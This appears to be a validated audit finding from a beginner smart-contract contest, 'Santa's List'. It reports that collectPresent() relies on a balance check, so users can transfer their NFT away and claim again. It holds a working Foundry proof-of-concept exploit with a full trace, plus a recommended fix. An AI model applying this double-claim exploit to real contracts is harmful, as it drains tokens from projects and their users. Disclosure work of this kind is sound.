First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`NICE` and `EXTRA_NICE` persons can collect multiple presents

bobadj

Summary

NICE and EXTRA_NICE users can collect multiple presents

Vulnerability Details

Its described that addresses are allowed to mint only 1 NFT, but NICE and EXTRA_NICE users can mint multiple tokens if they transfer collected SantaLists token

Impact

NICE and EXTRA_NICE users can collectPresent multiple times, just by transferring SantaLists tokens.

Test:

function testExtraNicePersonsCanCollectAllPresents() public {
address extraNiceUser = makeAddr("extraNice");
address naughtyPersonOrFriend = makeAddr("naughtyPersonOrFriend");
// Santa awards EXTRA_NICE person
vm.startPrank(santa);
santasList.checkList(extraNiceUser, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(extraNiceUser, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
// Christmas has come
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// extraNiceUser collect his present
vm.startPrank(extraNiceUser);
santasList.collectPresent();
assertEq(santasList.balanceOf(extraNiceUser), 1);
assertEq(santaToken.balanceOf(extraNiceUser), 1e18);
// some NAUGHTY persons came over ( or a NAUGHTY persons is a friend ) and force extraNiceUser transfer present
santasList.transferFrom(extraNiceUser, naughtyPersonOrFriend, 0);
assertEq(santasList.balanceOf(naughtyPersonOrFriend), 1);
// extraNiceUser is now sad and tries to collect the present one more time
santasList.collectPresent();
assertEq(santasList.balanceOf(extraNiceUser), 1);
assertEq(santaToken.balanceOf(extraNiceUser), 2e18);
// he succeeds!!!! He even got more SantaToken`s! He realizes that he can now buy 2 presents
santaToken.approve(address(santasList), type(uint256).max);
santasList.buyPresent(extraNiceUser);
santasList.buyPresent(extraNiceUser);
assertEq(santasList.balanceOf(extraNiceUser), 3);
assertEq(santaToken.balanceOf(extraNiceUser), 0);
// he could continue like this forever
// he can just transfer SantasList to someone else and he can collect all presents
vm.stopPrank();
}

Log:

[PASS] testExtraNicePersonsCanCollectAllPresents() (gas: 299585)
Traces:
[299585] NaughtyElf::testExtraNicePersonsCanCollectAllPresents()
├─ [0] VM::addr(91588955459005037706899338355575987614619543762033424836026148977233915177286 [9.158e76]) [staticcall]
│ └─ ← extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]
├─ [0] VM::label(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], "extraNice")
│ └─ ← ()
├─ [0] VM::addr(61892087342556097380576488773083722396989965353691955805877891705367103353078 [6.189e76]) [staticcall]
│ └─ ← naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3]
├─ [0] VM::label(naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3], "naughtyPersonOrFriend")
│ └─ ← ()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], 1)
│ ├─ emit CheckedOnce(person: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], 1)
│ ├─ emit CheckedTwice(person: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ └─ ← ()
├─ [120077] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 0)
│ ├─ [46713] SantaToken::mint(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [678] SantasList::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 1
├─ [542] SantaToken::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [22727] SantasList::transferFrom(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3], 0)
│ ├─ emit Transfer(from: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], to: naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3], tokenId: 0)
│ └─ ← ()
├─ [678] SantasList::balanceOf(naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3]) [staticcall]
│ └─ ← 1
├─ [49877] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 1)
│ ├─ [2913] SantaToken::mint(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [678] SantasList::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 1
├─ [542] SantaToken::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 2000000000000000000 [2e18]
├─ [24546] SantaToken::approve(SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ emit Approval(owner: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], spender: SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
├─ [29248] SantasList::buyPresent(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ ├─ [2935] SantaToken::burn(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 2)
│ └─ ← ()
├─ [23399] SantasList::buyPresent(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ ├─ [2348] SantaToken::burn(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 3)
│ └─ ← ()
├─ [678] SantasList::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 3
├─ [542] SantaToken::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 0
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.12ms

Tools Used

Manual

Recommendations

Include one more mapping in SantasList contract to track if an address has already collected his present.

...
+79 mapping(address person => bool) private s_hasAlreadyCollected;
80 mapping(address person => Status naughtyOrNice) private s_theListCheckedOnce;
81 mapping(address person => Status naughtyOrNice) private s_theListCheckedTwice;
...

Update s_hasAlreadyCollected for msg.sender inside _mintAndIncrement

...
182 function _mintAndIncrement() private {
183 _safeMint(msg.sender, s_tokenCounter++);
+184 s_hasAlreadyCollected[msg.sender] = true;
186 }
...

Check s_hasAlreadyCollected instead of balanceOf(msg.sender) > 0 before minting

...
-153 if (balanceOf(msg.sender) > 0) {
+153 if (s_hasAlreadyCollected[msg.sender]) {
154 revert SantasList__AlreadyCollected();
155 }
...
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.